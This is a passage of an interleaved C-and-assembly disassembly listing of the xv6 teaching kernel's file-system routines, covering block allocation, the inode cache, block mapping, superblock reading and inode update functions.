-0x24(%ebp),%eax 80101197: 39 05 e0 09 11 80 cmp %eax,0x801109e0 8010119d: 77 82 ja 80101121 <balloc+0x21> return b + bi; } } brelse(bp); } panic("balloc: out of blocks"); 8010119f: 83 ec 0c sub $0xc,%esp 801011a2: 68 df 6f 10 80 push $0x80106fdf 801011a7: e8 c4 f1 ff ff call 80100370 <panic> 801011ac: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi for(b = 0; b < sb.size; b += BPB){ bp = bread(dev, BBLOCK(b, sb)); for(bi = 0; bi < BPB && b + bi < sb.size; bi++){ m = 1 << (bi % 8); if((bp->data[bi/8] & m) == 0){ // Is block free? bp->data[bi/8] |= m; // Mark block in use. 801011b0: 09 fa or %edi,%edx 801011b2: 8b 7d e4 mov -0x1c(%ebp),%edi log_write(bp); 801011b5: 83 ec 0c sub $0xc,%esp for(b = 0; b < sb.size; b += BPB){ bp = bread(dev, BBLOCK(b, sb)); for(bi = 0; bi < BPB && b + bi < sb.size; bi++){ m = 1 << (bi % 8); if((bp->data[bi/8] & m) == 0){ // Is block free? bp->data[bi/8] |= m; // Mark block in use. 801011b8: 88 54 0f 5c mov %dl,0x5c(%edi,%ecx,1) log_write(bp); 801011bc: 57 push %edi 801011bd: e8 6e 1b 00 00 call 80102d30 <log_write> brelse(bp); 801011c2: 89 3c 24 mov %edi,(%esp) 801011c5: e8 16 f0 ff ff call 801001e0 <brelse> static void bzero(int dev, int bno) { struct buf *bp; bp = bread(dev, bno); 801011ca: 58 pop %eax 801011cb: 5a pop %edx 801011cc: 56 push %esi 801011cd: ff 75 d8 pushl -0x28(%ebp) 801011d0: e8 fb ee ff ff call 801000d0 <bread> 801011d5: 89 c3 mov %eax,%ebx memset(bp->data, 0, BSIZE); 801011d7: 8d 40 5c lea 0x5c(%eax),%eax 801011da: 83 c4 0c add $0xc,%esp 801011dd: 68 00 02 00 00 push $0x200 801011e2: 6a 00 push $0x0 801011e4: 50 push %eax 801011e5: e8 56 32 00 00 call 80104440 <memset> log_write(bp); 801011ea: 89 1c 24 mov %ebx,(%esp) 801011ed: e8 3e 1b 00 00 call 80102d30 <log_write> brelse(bp); 801011f2: 89 1c 24 mov %ebx,(%esp) 801011f5: e8 e6 ef ff ff call 801001e0 <brelse> } } brelse(bp); } panic("balloc: out of blocks"); } 801011fa: 8d 65 f4 lea -0xc(%ebp),%esp 801011fd: 89 f0 mov %esi,%eax 801011ff: 5b pop %ebx 80101200: 5e pop %esi 80101201: 5f pop %edi 80101202: 5d pop %ebp 80101203: c3 ret 80101204: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 8010120a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 80101210 <iget>: // Find the inode with number inum on device dev // and return the in-memory copy. Does not lock // the inode and does not read it from disk. static struct inode* iget(uint dev, uint inum) { 80101210: 55 push %ebp 80101211: 89 e5 mov %esp,%ebp 80101213: 57 push %edi 80101214: 56 push %esi 80101215: 53 push %ebx 80101216: 89 c7 mov %eax,%edi struct inode *ip, *empty; acquire(&icache.lock); // Is the inode already cached? empty = 0; 80101218: 31 f6 xor %esi,%esi for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){ 8010121a: bb 34 0a 11 80 mov $0x80110a34,%ebx // Find the inode with number inum on device dev // and return the in-memory copy. Does not lock // the inode and does not read it from disk. static struct inode* iget(uint dev, uint inum) { 8010121f: 83 ec 28 sub $0x28,%esp 80101222: 89 55 e4 mov %edx,-0x1c(%ebp) struct inode *ip, *empty; acquire(&icache.lock); 80101225: 68 00 0a 11 80 push $0x80110a00 8010122a: e8 11 31 00 00 call 80104340 <acquire> 8010122f: 83 c4 10 add $0x10,%esp // Is the inode already cached? empty = 0; for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){ 80101232: 8b 55 e4 mov -0x1c(%ebp),%edx 80101235: eb 1b jmp 80101252 <iget+0x42> 80101237: 89 f6 mov %esi,%esi 80101239: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi if(ip->ref > 0 && ip->dev == dev && ip->inum == inum){ ip->ref++; release(&icache.lock); return ip; } if(empty == 0 && ip->ref == 0) // Remember empty slot. 80101240: 85 f6 test %esi,%esi 80101242: 74 44 je 80101288 <iget+0x78> acquire(&icache.lock); // Is the inode already cached? empty = 0; for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){ 80101244: 81 c3 90 00 00 00 add $0x90,%ebx 8010124a: 81 fb 54 26 11 80 cmp $0x80112654,%ebx 80101250: 74 4e je 801012a0 <iget+0x90> if(ip->ref > 0 && ip->dev == dev && ip->inum == inum){ 80101252: 8b 4b 08 mov 0x8(%ebx),%ecx 80101255: 85 c9 test %ecx,%ecx 80101257: 7e e7 jle 80101240 <iget+0x30> 80101259: 39 3b cmp %edi,(%ebx) 8010125b: 75 e3 jne 80101240 <iget+0x30> 8010125d: 39 53 04 cmp %edx,0x4(%ebx) 80101260: 75 de jne 80101240 <iget+0x30> ip->ref++; release(&icache.lock); 80101262: 83 ec 0c sub $0xc,%esp // Is the inode already cached? empty = 0; for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){ if(ip->ref > 0 && ip->dev == dev && ip->inum == inum){ ip->ref++; 80101265: 83 c1 01 add $0x1,%ecx release(&icache.lock); return ip; 80101268: 89 de mov %ebx,%esi // Is the inode already cached? empty = 0; for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){ if(ip->ref > 0 && ip->dev == dev && ip->inum == inum){ ip->ref++; release(&icache.lock); 8010126a: 68 00 0a 11 80 push $0x80110a00 // Is the inode already cached? empty = 0; for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){ if(ip->ref > 0 && ip->dev == dev && ip->inum == inum){ ip->ref++; 8010126f: 89 4b 08 mov %ecx,0x8(%ebx) release(&icache.lock); 80101272: e8 79 31 00 00 call 801043f0 <release> return ip; 80101277: 83 c4 10 add $0x10,%esp ip->ref = 1; ip->valid = 0; release(&icache.lock); return ip; } 8010127a: 8d 65 f4 lea -0xc(%ebp),%esp 8010127d: 89 f0 mov %esi,%eax 8010127f: 5b pop %ebx 80101280: 5e pop %esi 80101281: 5f pop %edi 80101282: 5d pop %ebp 80101283: c3 ret 80101284: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if(ip->ref > 0 && ip->dev == dev && ip->inum == inum){ ip->ref++; release(&icache.lock); return ip; } if(empty == 0 && ip->ref == 0) // Remember empty slot. 80101288: 85 c9 test %ecx,%ecx 8010128a: 0f 44 f3 cmove %ebx,%esi acquire(&icache.lock); // Is the inode already cached? empty = 0; for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){ 8010128d: 81 c3 90 00 00 00 add $0x90,%ebx 80101293: 81 fb 54 26 11 80 cmp $0x80112654,%ebx 80101299: 75 b7 jne 80101252 <iget+0x42> 8010129b: 90 nop 8010129c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if(empty == 0 && ip->ref == 0) // Remember empty slot. empty = ip; } // Recycle an inode cache entry. if(empty == 0) 801012a0: 85 f6 test %esi,%esi 801012a2: 74 2d je 801012d1 <iget+0xc1> ip = empty; ip->dev = dev; ip->inum = inum; ip->ref = 1; ip->valid = 0; release(&icache.lock); 801012a4: 83 ec 0c sub $0xc,%esp // Recycle an inode cache entry. if(empty == 0) panic("iget: no inodes"); ip = empty; ip->dev = dev; 801012a7: 89 3e mov %edi,(%esi) ip->inum = inum; 801012a9: 89 56 04 mov %edx,0x4(%esi) ip->ref = 1; 801012ac: c7 46 08 01 00 00 00 movl $0x1,0x8(%esi) ip->valid = 0; 801012b3: c7 46 4c 00 00 00 00 movl $0x0,0x4c(%esi) release(&icache.lock); 801012ba: 68 00 0a 11 80 push $0x80110a00 801012bf: e8 2c 31 00 00 call 801043f0 <release> return ip; 801012c4: 83 c4 10 add $0x10,%esp } 801012c7: 8d 65 f4 lea -0xc(%ebp),%esp 801012ca: 89 f0 mov %esi,%eax 801012cc: 5b pop %ebx 801012cd: 5e pop %esi 801012ce: 5f pop %edi 801012cf: 5d pop %ebp 801012d0: c3 ret empty = ip; } // Recycle an inode cache entry. if(empty == 0) panic("iget: no inodes"); 801012d1: 83 ec 0c sub $0xc,%esp 801012d4: 68 f5 6f 10 80 push $0x80106ff5 801012d9: e8 92 f0 ff ff call 80100370 <panic> 801012de: 66 90 xchg %ax,%ax 801012e0 <bmap>: // Return the disk block address of the nth block in inode ip. // If there is no such block, bmap allocates one. static uint bmap(struct inode *ip, uint bn) { 801012e0: 55 push %ebp 801012e1: 89 e5 mov %esp,%ebp 801012e3: 57 push %edi 801012e4: 56 push %esi 801012e5: 53 push %ebx 801012e6: 89 c6 mov %eax,%esi 801012e8: 83 ec 1c sub $0x1c,%esp uint addr, *a; struct buf *bp; if(bn < NDIRECT){ 801012eb: 83 fa 0b cmp $0xb,%edx 801012ee: 77 18 ja 80101308 <bmap+0x28> 801012f0: 8d 1c 90 lea (%eax,%edx,4),%ebx if((addr = ip->addrs[bn]) == 0) 801012f3: 8b 43 5c mov 0x5c(%ebx),%eax 801012f6: 85 c0 test %eax,%eax 801012f8: 74 76 je 80101370 <bmap+0x90> brelse(bp); return addr; } panic("bmap: out of range"); } 801012fa: 8d 65 f4 lea -0xc(%ebp),%esp 801012fd: 5b pop %ebx 801012fe: 5e pop %esi 801012ff: 5f pop %edi 80101300: 5d pop %ebp 80101301: c3 ret 80101302: 8d b6 00 00 00 00 lea 0x0(%esi),%esi if(bn < NDIRECT){ if((addr = ip->addrs[bn]) == 0) ip->addrs[bn] = addr = balloc(ip->dev); return addr; } bn -= NDIRECT; 80101308: 8d 5a f4 lea -0xc(%edx),%ebx if(bn < NINDIRECT){ 8010130b: 83 fb 7f cmp $0x7f,%ebx 8010130e: 0f 87 83 00 00 00 ja 80101397 <bmap+0xb7> // Load indirect block, allocating if necessary. if((addr = ip->addrs[NDIRECT]) == 0) 80101314: 8b 80 8c 00 00 00 mov 0x8c(%eax),%eax 8010131a: 85 c0 test %eax,%eax 8010131c: 74 6a je 80101388 <bmap+0xa8> ip->addrs[NDIRECT] = addr = balloc(ip->dev); bp = bread(ip->dev, addr); 8010131e: 83 ec 08 sub $0x8,%esp 80101321: 50 push %eax 80101322: ff 36 pushl (%esi) 80101324: e8 a7 ed ff ff call 801000d0 <bread> a = (uint*)bp->data; if((addr = a[bn]) == 0){ 80101329: 8d 54 98 5c lea 0x5c(%eax,%ebx,4),%edx 8010132d: 83 c4 10 add $0x10,%esp if(bn < NINDIRECT){ // Load indirect block, allocating if necessary. if((addr = ip->addrs[NDIRECT]) == 0) ip->addrs[NDIRECT] = addr = balloc(ip->dev); bp = bread(ip->dev, addr); 80101330: 89 c7 mov %eax,%edi a = (uint*)bp->data; if((addr = a[bn]) == 0){ 80101332: 8b 1a mov (%edx),%ebx 80101334: 85 db test %ebx,%ebx 80101336: 75 1d jne 80101355 <bmap+0x75> a[bn] = addr = balloc(ip->dev); 80101338: 8b 06 mov (%esi),%eax 8010133a: 89 55 e4 mov %edx,-0x1c(%ebp) 8010133d: e8 be fd ff ff call 80101100 <balloc> 80101342: 8b 55 e4 mov -0x1c(%ebp),%edx log_write(bp); 80101345: 83 ec 0c sub $0xc,%esp if((addr = ip->addrs[NDIRECT]) == 0) ip->addrs[NDIRECT] = addr = balloc(ip->dev); bp = bread(ip->dev, addr); a = (uint*)bp->data; if((addr = a[bn]) == 0){ a[bn] = addr = balloc(ip->dev); 80101348: 89 c3 mov %eax,%ebx 8010134a: 89 02 mov %eax,(%edx) log_write(bp); 8010134c: 57 push %edi 8010134d: e8 de 19 00 00 call 80102d30 <log_write> 80101352: 83 c4 10 add $0x10,%esp } brelse(bp); 80101355: 83 ec 0c sub $0xc,%esp 80101358: 57 push %edi 80101359: e8 82 ee ff ff call 801001e0 <brelse> 8010135e: 83 c4 10 add $0x10,%esp return addr; } panic("bmap: out of range"); } 80101361: 8d 65 f4 lea -0xc(%ebp),%esp a = (uint*)bp->data; if((addr = a[bn]) == 0){ a[bn] = addr = balloc(ip->dev); log_write(bp); } brelse(bp); 80101364: 89 d8 mov %ebx,%eax return addr; } panic("bmap: out of range"); } 80101366: 5b pop %ebx 80101367: 5e pop %esi 80101368: 5f pop %edi 80101369: 5d pop %ebp 8010136a: c3 ret 8010136b: 90 nop 8010136c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi uint addr, *a; struct buf *bp; if(bn < NDIRECT){ if((addr = ip->addrs[bn]) == 0) ip->addrs[bn] = addr = balloc(ip->dev); 80101370: 8b 06 mov (%esi),%eax 80101372: e8 89 fd ff ff call 80101100 <balloc> 80101377: 89 43 5c mov %eax,0x5c(%ebx) brelse(bp); return addr; } panic("bmap: out of range"); } 8010137a: 8d 65 f4 lea -0xc(%ebp),%esp 8010137d: 5b pop %ebx 8010137e: 5e pop %esi 8010137f: 5f pop %edi 80101380: 5d pop %ebp 80101381: c3 ret 80101382: 8d b6 00 00 00 00 lea 0x0(%esi),%esi bn -= NDIRECT; if(bn < NINDIRECT){ // Load indirect block, allocating if necessary. if((addr = ip->addrs[NDIRECT]) == 0) ip->addrs[NDIRECT] = addr = balloc(ip->dev); 80101388: 8b 06 mov (%esi),%eax 8010138a: e8 71 fd ff ff call 80101100 <balloc> 8010138f: 89 86 8c 00 00 00 mov %eax,0x8c(%esi) 80101395: eb 87 jmp 8010131e <bmap+0x3e> } brelse(bp); return addr; } panic("bmap: out of range"); 80101397: 83 ec 0c sub $0xc,%esp 8010139a: 68 05 70 10 80 push $0x80107005 8010139f: e8 cc ef ff ff call 80100370 <panic> 801013a4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801013aa: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 801013b0 <readsb>: struct superblock sb; // Read the super block. void readsb(int dev, struct superblock *sb) { 801013b0: 55 push %ebp 801013b1: 89 e5 mov %esp,%ebp 801013b3: 56 push %esi 801013b4: 53 push %ebx 801013b5: 8b 75 0c mov 0xc(%ebp),%esi struct buf *bp; bp = bread(dev, 1); 801013b8: 83 ec 08 sub $0x8,%esp 801013bb: 6a 01 push $0x1 801013bd: ff 75 08 pushl 0x8(%ebp) 801013c0: e8 0b ed ff ff call 801000d0 <bread> 801013c5: 89 c3 mov %eax,%ebx memmove(sb, bp->data, sizeof(*sb)); 801013c7: 8d 40 5c lea 0x5c(%eax),%eax 801013ca: 83 c4 0c add $0xc,%esp 801013cd: 6a 1c push $0x1c 801013cf: 50 push %eax 801013d0: 56 push %esi 801013d1: e8 1a 31 00 00 call 801044f0 <memmove> brelse(bp); 801013d6: 89 5d 08 mov %ebx,0x8(%ebp) 801013d9: 83 c4 10 add $0x10,%esp } 801013dc: 8d 65 f8 lea -0x8(%ebp),%esp 801013df: 5b pop %ebx 801013e0: 5e pop %esi 801013e1: 5d pop %ebp { struct buf *bp; bp = bread(dev, 1); memmove(sb, bp->data, sizeof(*sb)); brelse(bp); 801013e2: e9 f9 ed ff ff jmp 801001e0 <brelse> 801013e7: 89 f6 mov %esi,%esi 801013e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801013f0 <bfree>: } // Free a disk block. static void bfree(int dev, uint b) { 801013f0: 55 push %ebp 801013f1: 89 e5 mov %esp,%ebp 801013f3: 56 push %esi 801013f4: 53 push %ebx 801013f5: 89 d3 mov %edx,%ebx 801013f7: 89 c6 mov %eax,%esi struct buf *bp; int bi, m; readsb(dev, &sb); 801013f9: 83 ec 08 sub $0x8,%esp 801013fc: 68 e0 09 11 80 push $0x801109e0 80101401: 50 push %eax 80101402: e8 a9 ff ff ff call 801013b0 <readsb> bp = bread(dev, BBLOCK(b, sb)); 80101407: 58 pop %eax 80101408: 5a pop %edx 80101409: 89 da mov %ebx,%edx 8010140b: c1 ea 0c shr $0xc,%edx 8010140e: 03 15 f8 09 11 80 add 0x801109f8,%edx 80101414: 52 push %edx 80101415: 56 push %esi 80101416: e8 b5 ec ff ff call 801000d0 <bread> bi = b % BPB; m = 1 << (bi % 8); 8010141b: 89 d9 mov %ebx,%ecx if((bp->data[bi/8] & m) == 0) 8010141d: 81 e3 ff 0f 00 00 and $0xfff,%ebx int bi, m; readsb(dev, &sb); bp = bread(dev, BBLOCK(b, sb)); bi = b % BPB; m = 1 << (bi % 8); 80101423: ba 01 00 00 00 mov $0x1,%edx 80101428: 83 e1 07 and $0x7,%ecx if((bp->data[bi/8] & m) == 0) 8010142b: c1 fb 03 sar $0x3,%ebx 8010142e: 83 c4 10 add $0x10,%esp int bi, m; readsb(dev, &sb); bp = bread(dev, BBLOCK(b, sb)); bi = b % BPB; m = 1 << (bi % 8); 80101431: d3 e2 shl %cl,%edx if((bp->data[bi/8] & m) == 0) 80101433: 0f b6 4c 18 5c movzbl 0x5c(%eax,%ebx,1),%ecx 80101438: 85 d1 test %edx,%ecx 8010143a: 74 27 je 80101463 <bfree+0x73> 8010143c: 89 c6 mov %eax,%esi panic("freeing free block"); bp->data[bi/8] &= ~m; 8010143e: f7 d2 not %edx 80101440: 89 c8 mov %ecx,%eax log_write(bp); 80101442: 83 ec 0c sub $0xc,%esp bp = bread(dev, BBLOCK(b, sb)); bi = b % BPB; m = 1 << (bi % 8); if((bp->data[bi/8] & m) == 0) panic("freeing free block"); bp->data[bi/8] &= ~m; 80101445: 21 d0 and %edx,%eax 80101447: 88 44 1e 5c mov %al,0x5c(%esi,%ebx,1) log_write(bp); 8010144b: 56 push %esi 8010144c: e8 df 18 00 00 call 80102d30 <log_write> brelse(bp); 80101451: 89 34 24 mov %esi,(%esp) 80101454: e8 87 ed ff ff call 801001e0 <brelse> } 80101459: 83 c4 10 add $0x10,%esp 8010145c: 8d 65 f8 lea -0x8(%ebp),%esp 8010145f: 5b pop %ebx 80101460: 5e pop %esi 80101461: 5d pop %ebp 80101462: c3 ret readsb(dev, &sb); bp = bread(dev, BBLOCK(b, sb)); bi = b % BPB; m = 1 << (bi % 8); if((bp->data[bi/8] & m) == 0) panic("freeing free block"); 80101463: 83 ec 0c sub $0xc,%esp 80101466: 68 18 70 10 80 push $0x80107018 8010146b: e8 00 ef ff ff call 80100370 <panic> 80101470 <iinit>: struct inode inode[NINODE]; } icache; void iinit(int dev) { 80101470: 55 push %ebp 80101471: 89 e5 mov %esp,%ebp 80101473: 53 push %ebx 80101474: bb 40 0a 11 80 mov $0x80110a40,%ebx 80101479: 83 ec 0c sub $0xc,%esp int i = 0; initlock(&icache.lock, "icache"); 8010147c: 68 2b 70 10 80 push $0x8010702b 80101481: 68 00 0a 11 80 push $0x80110a00 80101486: e8 55 2d 00 00 call 801041e0 <initlock> 8010148b: 83 c4 10 add $0x10,%esp 8010148e: 66 90 xchg %ax,%ax for(i = 0; i < NINODE; i++) { initsleeplock(&icache.inode[i].lock, "inode"); 80101490: 83 ec 08 sub $0x8,%esp 80101493: 68 32 70 10 80 push $0x80107032 80101498: 53 push %ebx 80101499: 81 c3 90 00 00 00 add $0x90,%ebx 8010149f: e8 0c 2c 00 00 call 801040b0 <initsleeplock> iinit(int dev) { int i = 0; initlock(&icache.lock, "icache"); for(i = 0; i < NINODE; i++) { 801014a4: 83 c4 10 add $0x10,%esp 801014a7: 81 fb 60 26 11 80 cmp $0x80112660,%ebx 801014ad: 75 e1 jne 80101490 <iinit+0x20> initsleeplock(&icache.inode[i].lock, "inode"); } readsb(dev, &sb); 801014af: 83 ec 08 sub $0x8,%esp 801014b2: 68 e0 09 11 80 push $0x801109e0 801014b7: ff 75 08 pushl 0x8(%ebp) 801014ba: e8 f1 fe ff ff call 801013b0 <readsb> cprintf("sb: size %d nblocks %d ninodes %d nlog %d logstart %d\ 801014bf: ff 35 f8 09 11 80 pushl 0x801109f8 801014c5: ff 35 f4 09 11 80 pushl 0x801109f4 801014cb: ff 35 f0 09 11 80 pushl 0x801109f0 801014d1: ff 35 ec 09 11 80 pushl 0x801109ec 801014d7: ff 35 e8 09 11 80 pushl 0x801109e8 801014dd: ff 35 e4 09 11 80 pushl 0x801109e4 801014e3: ff 35 e0 09 11 80 pushl 0x801109e0 801014e9: 68 98 70 10 80 push $0x80107098 801014ee: e8 6d f1 ff ff call 80100660 <cprintf> inodestart %d bmap start %d\n", sb.size, sb.nblocks, sb.ninodes, sb.nlog, sb.logstart, sb.inodestart, sb.bmapstart); } 801014f3: 83 c4 30 add $0x30,%esp 801014f6: 8b 5d fc mov -0x4(%ebp),%ebx 801014f9: c9 leave 801014fa: c3 ret 801014fb: 90 nop 801014fc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80101500 <ialloc>: // Allocate an inode on device dev. // Mark it as allocated by giving it type type. // Returns an unlocked but allocated and referenced inode. struct inode* ialloc(uint dev, short type) { 80101500: 55 push %ebp 80101501: 89 e5 mov %esp,%ebp 80101503: 57 push %edi 80101504: 56 push %esi 80101505: 53 push %ebx 80101506: 83 ec 1c sub $0x1c,%esp int inum; struct buf *bp; struct dinode *dip; for(inum = 1; inum < sb.ninodes; inum++){ 80101509: 83 3d e8 09 11 80 01 cmpl $0x1,0x801109e8 // Allocate an inode on device dev. // Mark it as allocated by giving it type type. // Returns an unlocked but allocated and referenced inode. struct inode* ialloc(uint dev, short type) { 80101510: 8b 45 0c mov 0xc(%ebp),%eax 80101513: 8b 75 08 mov 0x8(%ebp),%esi 80101516: 89 45 e4 mov %eax,-0x1c(%ebp) int inum; struct buf *bp; struct dinode *dip; for(inum = 1; inum < sb.ninodes; inum++){ 80101519: 0f 86 91 00 00 00 jbe 801015b0 <ialloc+0xb0> 8010151f: bb 01 00 00 00 mov $0x1,%ebx 80101524: eb 21 jmp 80101547 <ialloc+0x47> 80101526: 8d 76 00 lea 0x0(%esi),%esi 80101529: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi dip->type = type; log_write(bp); // mark it allocated on the disk brelse(bp); return iget(dev, inum); } brelse(bp); 80101530: 83 ec 0c sub $0xc,%esp { int inum; struct buf *bp; struct dinode *dip; for(inum = 1; inum < sb.ninodes; inum++){ 80101533: 83 c3 01 add $0x1,%ebx dip->type = type; log_write(bp); // mark it allocated on the disk brelse(bp); return iget(dev, inum); } brelse(bp); 80101536: 57 push %edi 80101537: e8 a4 ec ff ff call 801001e0 <brelse> { int inum; struct buf *bp; struct dinode *dip; for(inum = 1; inum < sb.ninodes; inum++){ 8010153c: 83 c4 10 add $0x10,%esp 8010153f: 39 1d e8 09 11 80 cmp %ebx,0x801109e8 80101545: 76 69 jbe 801015b0 <ialloc+0xb0> bp = bread(dev, IBLOCK(inum, sb)); 80101547: 89 d8 mov %ebx,%eax 80101549: 83 ec 08 sub $0x8,%esp 8010154c: c1 e8 03 shr $0x3,%eax 8010154f: 03 05 f4 09 11 80 add 0x801109f4,%eax 80101555: 50 push %eax 80101556: 56 push %esi 80101557: e8 74 eb ff ff call 801000d0 <bread> 8010155c: 89 c7 mov %eax,%edi dip = (struct dinode*)bp->data + inum%IPB; 8010155e: 89 d8 mov %ebx,%eax if(dip->type == 0){ // a free inode 80101560: 83 c4 10 add $0x10,%esp struct buf *bp; struct dinode *dip; for(inum = 1; inum < sb.ninodes; inum++){ bp = bread(dev, IBLOCK(inum, sb)); dip = (struct dinode*)bp->data + inum%IPB; 80101563: 83 e0 07 and $0x7,%eax 80101566: c1 e0 06 shl $0x6,%eax 80101569: 8d 4c 07 5c lea 0x5c(%edi,%eax,1),%ecx if(dip->type == 0){ // a free inode 8010156d: 66 83 39 00 cmpw $0x0,(%ecx) 80101571: 75 bd jne 80101530 <ialloc+0x30> memset(dip, 0, sizeof(*dip)); 80101573: 83 ec 04 sub $0x4,%esp 80101576: 89 4d e0 mov %ecx,-0x20(%ebp) 80101579: 6a 40 push $0x40 8010157b: 6a 00 push $0x0 8010157d: 51 push %ecx 8010157e: e8 bd 2e 00 00 call 80104440 <memset> dip->type = type; 80101583: 0f b7 45 e4 movzwl -0x1c(%ebp),%eax 80101587: 8b 4d e0 mov -0x20(%ebp),%ecx 8010158a: 66 89 01 mov %ax,(%ecx) log_write(bp); // mark it allocated on the disk 8010158d: 89 3c 24 mov %edi,(%esp) 80101590: e8 9b 17 00 00 call 80102d30 <log_write> brelse(bp); 80101595: 89 3c 24 mov %edi,(%esp) 80101598: e8 43 ec ff ff call 801001e0 <brelse> return iget(dev, inum); 8010159d: 83 c4 10 add $0x10,%esp } brelse(bp); } panic("ialloc: no inodes"); } 801015a0: 8d 65 f4 lea -0xc(%ebp),%esp if(dip->type == 0){ // a free inode memset(dip, 0, sizeof(*dip)); dip->type = type; log_write(bp); // mark it allocated on the disk brelse(bp); return iget(dev, inum); 801015a3: 89 da mov %ebx,%edx 801015a5: 89 f0 mov %esi,%eax } brelse(bp); } panic("ialloc: no inodes"); } 801015a7: 5b pop %ebx 801015a8: 5e pop %esi 801015a9: 5f pop %edi 801015aa: 5d pop %ebp if(dip->type == 0){ // a free inode memset(dip, 0, sizeof(*dip)); dip->type = type; log_write(bp); // mark it allocated on the disk brelse(bp); return iget(dev, inum); 801015ab: e9 60 fc ff ff jmp 80101210 <iget> } brelse(bp); } panic("ialloc: no inodes"); 801015b0: 83 ec 0c sub $0xc,%esp 801015b3: 68 38 70 10 80 push $0x80107038 801015b8: e8 b3 ed ff ff call 80100370 <panic> 801015bd: 8d 76 00 lea 0x0(%esi),%esi 801015c0 <iupdate>: // Must be called after every change to an ip->xxx field // that lives on disk, since i-node cache is write-through. // Caller must hold ip->lock. void iupdate(struct inode *ip) { 801015c0: 55 push %ebp 801015c1: 89 e5 mov %esp,%ebp 801015c3: 56 push %esi 801015c4: 53 push %ebx 801015c5: 8b 5d 08 mov 0x8(%ebp),%ebx struct buf *bp; struct dinode *dip; bp = bread(ip->dev, IBLOCK(ip->inum, sb)); 801015c8: 83 ec 08 sub $0x8,%esp 801015cb: 8b 43 04 mov 0x4(%ebx),%eax dip->type = ip->type; dip->major = ip->major; dip->minor = ip->minor; dip->nlink = ip->nlink; dip->size = ip->size; memmove(dip->addrs, ip->addrs, sizeof(ip->addrs)); 801015ce: 83 c3 5c add $0x5c,%ebx iupdate(struct inode *ip) { struct buf *bp; struct dinode *dip; bp = bread(ip->dev, IBLOCK(ip->inum, sb)); 801015d1: c1 e8 03 shr $0x3,%eax 801015d4: 03 05 f4 09 11 80 add 0x801109f4,%eax 801015da: 50 push %eax 801015db: ff 73 a4 pushl -0x5c(%ebx) 801015de: e8 ed ea ff ff call 801000d0 <bread> 801015e3: 89 c6 mov %eax,%esi dip = (struct dinode*)bp->data + ip->inum%IPB; 801015e5: 8b 43 a8 mov -0x58(%ebx),%eax dip->type = ip->type; 801015e8: 0f b7 53 f4 movzwl -0xc(%ebx),%edx dip->major = ip->major; dip->minor = ip->minor; dip->nlink = ip->nlink; dip->size = ip->size; memmove(dip->addrs, ip->addrs, sizeof(ip->addrs)); 801015ec: 83 c4 0c add $0xc,%esp { struct buf *bp; struct dinode *dip; bp = bread(ip->dev, IBLOCK(ip->inum, sb)); dip = (struct dinode*)bp->data + ip->inum%IPB; 801015ef: 83 e0 07 and $0x7,%eax 801015f2: c1 e0 06 shl $0x6,%eax 801015f5: 8d 44 06 5c lea 0x5c(%esi,%eax,1),%eax dip->type = ip->type; 801015f9: 66 89 10 mov %dx,(%eax) dip->major = ip->major; 801015fc: 0f b7 53 f6 movzwl -0xa(%ebx),%edx dip->minor = ip->minor; dip->nlink = ip->nlink; dip->size = ip->size; memmove(dip->addrs, ip->addrs, sizeof(ip->addrs)); 80101600: 83 c0 0c add $0xc,%eax struct dinode *dip; bp = bread(ip->dev, IBLOCK(ip->inum, sb)); dip = (struct dinode*)bp->data + ip->inum%IPB; dip->type = ip->type; dip->major = ip->major; 80101603: 66 89 50 f6 mov %dx,-0xa(%eax) dip->minor = ip->minor; 80101607: 0f b7 53 f8 movzwl -0x8(%ebx),%edx 8010160b: 66 89 50 f8 mov %dx,-0x8(%eax) dip->nlink = ip->nlink; 8010160f: 0f b7 53 fa movzwl -0x6(%ebx),%edx 80101613: 66 89 50 fa mov %dx,-0x6(%eax) dip->size = ip->size; 80101617: 8b 53 fc mov -0x4(%ebx),%edx 8010161a: 89 50 fc mov %edx,-0x4(%eax) memmove(dip->addrs, ip->addrs, sizeof(ip->addrs)); 8010161d: 6a 34 push $0x34 8010161f: 53 push %ebx 80101620: 50 push %eax 80101621: e8 ca 2e 00 00 call 801044f0 <memmove> log_write(bp); 80101626: 89 34 24 mov %esi,(%esp) 80101629: e8 02 17 00 00 call 80102d30 <log_write> brelse(bp); 8010162e: 89 75 08 mov %esi,0x8(%ebp) 80101631: 83 c4 10 add $0x10,%esp } 80101634: 8d 65 f8 lea -0x8(%ebp),%esp 80101637: 5b pop %ebx 80101638: 5e pop %esi 80101639: 5d pop %ebp dip->minor = ip->minor; dip->nlink = ip->nlink; dip->size = ip->size; memmove(dip->addrs, ip->addrs, sizeof(ip->addrs)); log_write(bp); brelse(bp); 8010163a: e9 a1 eb ff ff jmp 801001e0 <brelse> 8010163f: 90 nop 80101640 <idup>: // Increment reference count for ip. // Returns ip to enable ip = idup(ip1) idiom. struct inode* idup(struct inode *ip) { 80101640: 55 push %ebp 80101641: 89 e5 mov %esp,%ebp 80101643: 53 push %ebx 80101644: 83 ec 10 sub $0x10,%esp 80101647: 8b 5d 08 mov 0x8(%ebp),%ebx acquire(&icache.lock); 8010164a: 68 00 0a 11 80 push $0x80110a00 8010164f: e8 ec 2c 00 00 call 80104340 <acquire> ip->ref++; 80101654: 83 43 08 01 addl $0x1,0x8(%ebx) release(&icache.lock); 80101658: c7 04 24 00 0a 11 80 movl $0x80110a00,(%esp) 8010165f: e8 8c 2d 00 00 call 801043f0 <release> return ip; } 80101664: 89 d8 mov 